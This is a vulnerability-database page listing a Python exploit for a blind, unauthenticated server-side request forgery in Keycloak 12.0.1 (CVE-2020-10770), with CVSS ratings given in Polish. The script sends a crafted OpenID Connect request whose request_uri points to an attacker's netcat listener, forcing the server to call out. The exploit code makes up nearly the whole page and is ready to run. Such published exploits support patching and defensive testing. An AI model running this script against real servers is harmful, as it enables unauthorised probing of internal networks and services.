Keycloak 12.0.1 Server-Side Request Forgery

2021.10.13
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-601


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

# Exploit Title: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated) # Date: 2021-10-13 # Exploit Author: Mayank Deshmukh # Author Twitter: ColdFusionX_ # Vendor Homepage: https://www.keycloak.org/ # Software Link: https://www.keycloak.org/archive/downloads-12.0.1.html # Version: versions < 12.0.2 # Tested on: Kali Linux # CVE : CVE-2020-10770 #!/usr/bin/env python3 import argparse, textwrap import requests import sys parser = argparse.ArgumentParser(description="-=[Keycloak Blind SSRF test by ColdFusionX]=-", formatter_class=argparse.RawTextHelpFormatter, epilog=textwrap.dedent(''' Exploit Usage : ./exploit.py -u http://127.0.0.1:8080 [^] Input Netcat host:port -> 192.168.0.1:4444 ''')) parser.add_argument("-u","--url", help="Keycloak Target URL (Example: http://127.0.0.1:8080)") args = parser.parse_args() if len(sys.argv) <= 2: print (f"Exploit Usage: ./exploit.py -h [help] -u [url]") sys.exit() # Variables Host = args.url r = requests.session() def ssrf(): headerscontent = { 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', } hook = input("[^] Input Netcat host:port -> ") _req = r.get(f'{Host}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{hook}', headers = headerscontent) return True if __name__ == "__main__": print ('\n[+] Keycloak Bind SSRF test by ColdFusionX \n ') try: if ssrf() == True: print ('\n[+] BINGO! Check Netcat listener for HTTP callback :) \n ') except Exception as ex: print('\n[-] Invalid URL or Target not Vulnerable')


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top